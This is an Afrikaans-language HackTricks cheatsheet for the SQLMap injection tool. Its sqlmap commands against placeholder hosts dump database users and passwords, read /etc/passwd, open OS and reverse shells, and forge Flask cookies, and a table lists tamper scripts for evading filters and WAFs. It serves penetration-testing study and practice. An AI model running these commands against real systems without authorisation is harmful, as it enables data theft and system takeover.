SQLMap - Cheatsheet

Reading time: 8 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Basiese argumente vir SQLmap

Generies

bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Verkry Inligting

Intern

bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

DB data

bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Gebruik SQLMapping dit is 'n praktiese hulpmiddel wat opdragte genereer en 'n volledige oorsig bied, beide basies en gevorderd, vir SQLMap. Dit sluit ToolTips in wat elke aspek van die hulpmiddel verduidelik, met besonderhede oor elke opsie sodat jy kan verbeter en verstaan hoe om dit doeltreffend en effektief te gebruik.

Inspuitplek

Van Burp/ZAP vang

Vang die versoek en skep 'n req.txt-lêer.

bash
sqlmap -r req.txt --current-user

GET Versoek Inspuiting

bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Versoek Inspuiting

bash
sqlmap -u "http://example.com" --data "username=*&password=*"

Inspuitings in Headers en ander HTTP Metodes

bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Dui string aan wanneer inspuiting suksesvol is

bash
--string="string_showed_when_TRUE"

Eval

Sqlmap laat die gebruik van -e of --eval toe om elke payload te verwerk voordat dit met 'n python oneliner gestuur word. Dit maak dit baie maklik en vinnig om die payload op pasgemaakte maniere te verwerk voordat dit gestuur word. In die volgende voorbeeld is die flask cookie session onderteken deur flask met die bekende geheim voordat dit gestuur word:

bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Skulpin

bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Lees Lêer

bash
--file-read=/etc/passwd

Krap 'n webwerf met SQLmap en outomatiese eksploitasie

bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Tweede Orde Inspuiting

bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Lees hierdie pos oor hoe om eenvoudige en komplekse tweede orde inspuitings met sqlmap uit te voer.

Pas Inspuiting aan

Stel 'n agtervoegsel in

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Voorvoegsel

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Hulp om booleaanse inspuiting te vind

bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Onthou dat jy jou eie tamper in python kan skep en dit is baie eenvoudig. Jy kan 'n tamper voorbeeld in die Second Order Injection page here vind.

bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperBeskrywing
apostrophemask.pyVervang apostrofkarakter met sy UTF-8 volle breedte teenhanger
apostrophenullencode.pyVervang apostrofkarakter met sy onwettige dubbele unicode teenhanger
appendnullbyte.pyVoeg geënkodeerde NULL byte karakter by aan die einde van die payload
base64encode.pyBase64 al karakters in 'n gegewe payload
between.pyVervang groter as operator ('>') met 'NOT BETWEEN 0 AND #'
bluecoat.pyVervang spasie karakter na SQL verklaring met 'n geldige ewekansige leë karakter. Vervang daarna karakter = met LIKE operator
chardoubleencode.pyDubbel url-encode al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk)
commalesslimit.pyVervang voorbeelde soos 'LIMIT M, N' met 'LIMIT N OFFSET M'
commalessmid.pyVervang voorbeelde soos 'MID(A, B, C)' met 'MID(A FROM B FOR C)'
concat2concatws.pyVervang voorbeelde soos 'CONCAT(A, B)' met 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.pyUrl-encode al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk)
charunicodeencode.pyUnicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk). "%u0022"
charunicodeescape.pyUnicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk). "\u0022"
equaltolike.pyVervang al voorkomste van operator gelyk ('=') met operator 'LIKE'
escapequotes.pySkuil aanhalingstekens (' en ")
greatest.pyVervang groter as operator ('>') met 'GREATEST' teenhanger
halfversionedmorekeywords.pyVoeg 'n weergawe MySQL kommentaar voor elke sleutelwoord by
ifnull2ifisnull.pyVervang voorbeelde soos 'IFNULL(A, B)' met 'IF(ISNULL(A), B, A)'
modsecurityversioned.pyOmhels volledige navraag met weergawe kommentaar
modsecurityzeroversioned.pyOmhels volledige navraag met nul-weergawe kommentaar
multiplespaces.pyVoeg meerdere spasies rondom SQL sleutelwoorde by
nonrecursivereplacement.pyVervang vooraf gedefinieerde SQL sleutelwoorde met verteenwoordigings geskik vir vervanging (bv. .replace("SELECT", "")) filters
percentage.pyVoeg 'n persentasieteken ('%') voor elke karakter by
overlongutf8.pyConverteer al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk)
randomcase.pyVervang elke sleutelwoordkarakter met ewekansige kaswaarde
randomcomments.pyVoeg ewekansige kommentaar by SQL sleutelwoorde
securesphere.pyVoeg spesiaal saamgestelde string by
sp_password.pyVoeg 'sp_password' by aan die einde van die payload vir outomatiese obfuskaasie van DBMS logs
space2comment.pyVervang spasie karakter (' ') met kommentaar
space2dash.pyVervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n')
space2hash.pyVervang spasie karakter (' ') met 'n pondkarakter ('#') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n')
space2morehash.pyVervang spasie karakter (' ') met 'n pondkarakter ('#') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n')
space2mssqlblank.pyVervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters
space2mssqlhash.pyVervang spasie karakter (' ') met 'n pondkarakter ('#') gevolg deur 'n nuwe lyn ('\n')
space2mysqlblank.pyVervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters
space2mysqldash.pyVervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n nuwe lyn ('\n')
space2plus.pyVervang spasie karakter (' ') met plus ('+')
space2randomblank.pyVervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters
symboliclogical.pyVervang AND en OR logiese operators met hul simboliese teenhangers (&& en
unionalltounion.pyVervang UNION ALL SELECT met UNION SELECT
unmagicquotes.pyVervang aanhalingstekens karakter (') met 'n multi-byte kombinasie %bf%27 saam met 'n generiese kommentaar aan die einde (om dit te laat werk)
uppercase.pyVervang elke sleutelwoordkarakter met hoofletters waarde 'INSERT'
varnish.pyVoeg 'n HTTP kop 'X-originating-IP' by
versionedkeywords.pyOmhels elke nie-funksie sleutelwoord met weergawe MySQL kommentaar
versionedmorekeywords.pyOmhels elke sleutelwoord met weergawe MySQL kommentaar
xforwardedfor.pyVoeg 'n vals HTTP kop 'X-Forwarded-For' by

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks